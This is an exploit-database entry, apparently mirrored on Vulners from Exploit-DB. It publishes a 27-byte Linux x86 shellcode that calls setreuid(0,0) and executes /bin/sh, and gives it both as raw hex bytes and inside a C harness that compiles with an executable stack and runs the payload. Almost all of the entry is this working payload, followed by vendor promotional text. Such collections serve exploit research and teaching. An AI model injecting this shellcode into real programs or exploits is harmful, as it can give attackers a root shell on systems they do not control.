Lucene search
K

27 bytes setreuid(0, 0) & execve("/bin/sh") shellcode

🗓️ 24 Apr 2010 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

27 bytes shellcode for setreuid and execve to execute /bin/sh on Linux x86 platform.

Code

                                                # Title: 27 bytes setreuid(0, 0) & execve("/bin/sh") shellcode
# EDB-ID: 12357
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Magnefikko
# Published: 2010-04-23
# Verified: no
# Download Exploit Code
# Download N/A

view source
print?
#include <stdio.h>
#include <string.h>
 
/*
?by Magnefikko
?22.04.2010
[email protected]
?promhyl.oz.pl
?Subgroup: #PRekambr
?Name: 27 bytes setreuid(0, 0) & execve("/bin/sh") shellcode
?Platform: Linux x86
?
?setreuid(0, 0);
?execve("/bin/sh", 0, 0);?
 
?gcc -Wl,-z,execstack filename.c
 
?shellcode:
 
\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\xb0\x0b\xcd\x80
 
*/
 
 
int main(){
?char shell[] =
"\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\xb0\x0b\xcd\x80";
?printf("by Magnefikko\[email protected]\npromhyl.oz.pl\n\nstrlen(shell)
= %d\n", strlen(shell));
?(*(void (*)()) shell)();
}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Apr 2010 00:00Current
7.1High risk
Vulners AI Score7.1
14